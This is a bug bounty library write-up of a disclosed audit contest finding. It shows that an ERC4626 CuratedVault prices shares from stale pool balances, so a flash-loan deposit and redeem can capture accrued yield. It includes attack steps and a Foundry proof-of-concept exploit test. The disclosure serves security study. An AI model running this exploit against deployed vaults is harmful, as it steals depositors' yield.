# An attacker can hijack the `CuratedVault`'s matured yield

CuratedVault.totalAssets reads stale pool balances without updating liquidityIndex, letting a flash-loan depositor mint shares at pre-yield price and redeem matured yield.

- Payout: Audit contest
- Severity: high
- Program: New Scope
- Found by: 0xAlix2
- Disclosed: 2024-06-27
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/199
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-new-scope%3AH-4
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:business-logic vuln:share-inflation

**Target:** CuratedVault ERC4626 vault totalAssets / share pricing
**Root cause:** totalAssets() sums getBalanceByPosition without calling forceUpdateReserve, so accrued interest is not reflected in the liquidityIndex used for share minting.
**Steps:**
1. Borrower supplies collateral and borrows loanToken so interest accrues over time (skip 100 days).
2. Attacker flash-loans `flashLoanAmount` (e.g. 100 ether) of loanToken.
3. Attacker calls `vault.deposit(flashLoanAmount, attacker)`; shares minted using stale totalAssets (pre-yield).
4. Attacker calls `vault.redeem(shares, attacker, attacker)` after reserve update, capturing accrued yield.
5. Attacker repays flash loan; profit = flashLoanAmount/(flashLoanAmount+totalAssets) * accrued yield.
**How found:** Noticed totalAssets() is a view that never calls forceUpdateReserve, so share pricing lags actual pool interest; hypothesized flash-loan deposit/redeem sandwich around yield accrual.
**Exploitation:** Flash-loan capital deposited at T2 before liquidityIndex update; shares priced on T1 totalAssets; immediate redeem after yield accrual captures proportional matured interest; cost is gas + flash-loan fee.
**Insight:** In ERC4626-over-lending vaults, any view used for share pricing that reads pool balances without first syncing the interest index is exploitable by deposit/redeem around accrual; check whether totalAssets mutates reserve state.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test hijacking matured yield**

```
contract ERC4626Test is IntegrationVaultTest {
  address attacker = makeAddr('attacker');

  function setUp() public {
    _setUpVault();
    _setCap(allMarkets[0], CAP);
    _sortSupplyQueueIdleLast();

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssets = 10 ether;

    loanToken.mint(supplier, vaultAssets);
    vm.prank(supplier);
    vault.deposit(vaultAssets, supplier);
    
    vm.prank(attacker);
    loanToken.approve(address(vault), type(uint256).max);
  }

  function testDeposit() public {
    collateralToken.mint(borrower, type(uint128).max);

    vm.startPrank(borrower);
    allMarkets[0].supplySimple(address(collateralToken), borrower, type(uint128).max, 0);
    allMarkets[0].borrowSimple(address(loanToken), borrower, 8 ether, 0);

    skip(100 days);

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssetsBefore = vault.totalAssets();

    console.log("Vault's assets before updating reserve: %e", vaultAssetsBefore);

    uint256 snapshot = vm.snapshot();

    allMarkets[0].forceUpdateReserve(address(loanToken));
    console.log("Vault's accrued yield: %e", vault.totalAssets() - vaultAssetsBefore);

    vm.revertTo(snapshot);

    uint256 flashLoanAmount = 100 ether;

    loanToken.mint(attacker, flashLoanAmount);

    vm.startPrank(attacker);
    uint256 shares = vault.deposit(flashLoanAmount, attacker);
    vault.redeem(shares, attacker, attacker);
    vm.stopPrank();

    console.log("Attacker's profit: %e", loanToken.balanceOf(attacker) - flashLoanAmount);
  }
}
```

**Patch to getSupplyBalance for PoC**

```
library PositionBalanceConfiguration {
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
-   uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-   return self.supplyShares + increase;
+   return self.supplyShares.rayMul(index);
  }
}
```

